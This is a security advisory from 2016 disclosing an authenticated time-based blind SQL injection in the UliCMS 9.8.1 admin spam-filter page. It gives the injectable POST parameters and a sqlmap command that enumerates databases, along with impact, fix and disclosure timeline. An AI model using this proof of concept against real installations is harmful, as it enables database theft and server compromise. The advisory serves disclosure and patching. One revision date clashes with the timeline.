UliCMS 9.8.1 SQL Injection
Posted on 04 February 2016
============================================= MGC ALERT 2016-001 - Original release date: January 26, 2016 - Last revised: February 02, 2016 - Discovered by: Manuel GarcÃa Cárdenas - Severity: 7,1/10 (CVSS Base Score) ============================================= I. VULNERABILITY ------------------------- Time-based SQL Injection in Admin panel UliCMS <= v9.8.1 II. BACKGROUND ------------------------- UliCMS is a modern web content management solution from Germany, that attempts to make web content management more easier. III. DESCRIPTION ------------------------- This bug was found using the portal with authentication as administrator. To exploit the vulnerability only is needed use the version 1.0 of the HTTP protocol to interact with the application. It is possible to inject SQL code in the variable "country_blacklist" on the page "action=spam_filter". IV. PROOF OF CONCEPT ------------------------- The following URL's and parameters have been confirmed to all suffer from Time Based Blind SQL injection. /ulicms/admin/?action=spam_filter (POST) spamfilter_enabled=yes&spamfilter_words_blacklist=a&country_blacklist=ru&submit_spamfilter_settings=Save+Changes POC using SQLMap: sqlmap -u "http://127.0.0.1/ulicms/admin/?action=spam_filter" --cookie="SET COOKIE HERE" --data="spamfilter_enabled=yes&spamfilter_words_blacklist=a&country_blacklist=ru&submit_spamfilter_settings=Save+Changes" -p "country_blacklist" --dbms="mysql" --dbs V. BUSINESS IMPACT ------------------------- Public defacement, confidential data leakage, and database server compromise can result from these attacks. Client systems can also be targeted, and complete compromise of these client systems is also possible. VI. SYSTEMS AFFECTED ------------------------- UliCMS <= v9.8.1 VII. SOLUTION ------------------------- Install vendor patch. VIII. REFERENCES ------------------------- http://en.ulicms.de/ IX. CREDITS ------------------------- This vulnerability has been discovered and reported by Manuel GarcÃa Cárdenas (advidsec (at) gmail (dot) com). X. REVISION HISTORY ------------------------- January 26, 2016 1: Initial release February 02, 2015 2: Revision to send to lists XI. DISCLOSURE TIMELINE ------------------------- January 26, 2016 1: Vulnerability acquired by Manuel Garcia Cardenas January 26, 2016 2: Send to vendor January 28, 2016 3: Vendor fix vulnerability February 02, 2016 4: Send to the Full-Disclosure lists XII. LEGAL NOTICES ------------------------- The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. XIII. ABOUT ------------------------- Manuel Garcia Cardenas Pentester
